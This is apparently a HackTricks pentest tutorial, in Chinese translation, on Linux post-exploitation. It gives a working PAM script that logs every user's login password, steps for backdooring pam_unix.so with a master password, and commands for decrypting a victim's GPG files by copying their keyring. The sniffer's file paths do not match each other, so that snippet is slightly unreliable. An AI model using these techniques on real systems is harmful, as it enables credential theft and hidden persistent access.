Linux Post-Exploitation
Reading time: 6 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Sniffing Logon Passwords with PAM
让我们配置一个 PAM 模块以记录每个用户登录时使用的密码。如果你不知道 PAM 是什么,请查看:
PAM - Pluggable Authentication Modules
For further details check the original post。这只是个摘要:
Technique Overview: Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。通过自定义登录流程可以增强安全性,但如果被滥用也会带来风险。本文概要说明了如何利用 PAM 捕获登录凭据,并列出相应的缓解策略。
Capturing Credentials:
- 编写了一个名为
toomanysecrets.sh
的 bash 脚本来记录登录尝试,记录内容包括日期、用户名($PAM_USER
)、密码(通过 stdin)以及远程主机 IP($PAM_RHOST
),并写入到/var/log/toomanysecrets.log
。 - 将脚本设为可执行,并通过
pam_exec.so
模块将其集成到 PAM 配置(common-auth
)中,使用的选项使其静默运行并将认证令牌暴露给脚本。 - 该方法演示了如何利用被攻陷的 Linux 主机悄然记录凭据。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
更多细节请查看 original post。 这里只是摘要:
The Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念:username, password, 和 service。每个 service 的配置文件位于 /etc/pam.d/
目录,共享库负责处理认证。
目标:修改 PAM,使其允许使用特定密码进行认证,绕过实际用户密码。重点是 pam_unix.so
这个由 common-auth
文件使用的共享库,几乎所有用于密码验证的 services 都会包含它。
Steps for Modifying pam_unix.so
:
- Locate the Authentication Directive in the
common-auth
file:
- 负责检查用户密码的那一行会调用
pam_unix.so
。
- Modify Source Code:
- 在
pam_unix_auth.c
源文件中添加一个条件判断:如果使用预定义密码则授予访问,否则继续正常的认证流程。
- Recompile and Replace the modified
pam_unix.so
library in the appropriate directory. - Testing:
- 使用预定义密码可以在多个 services(login, ssh, sudo, su, screensaver)中获得访问,而正常的认证流程不受影响。
tip
你可以使用 https://github.com/zephrax/linux-pam-backdoor 来自动化该过程
Decrypting GPG loot via homedir relocation
如果你发现一个加密的 .gpg
文件和用户的 ~/.gnupg
文件夹(pubring, private-keys, trustdb),但由于 GnuPG homedir 的权限或锁导致无法解密,可以将 keyring 复制到一个可写的位置并将其用作你的 GPG home。
如果不这样,通常会看到错误:"unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"(因为 GPG 无法读/写原始 homedir)。
工作流程:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
如果私钥材料存在于 private-keys-v1.d
中,GPG 会在不提示 passphrase 的情况下解锁并解密(如果该密钥受保护则会提示)。
参考资料
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。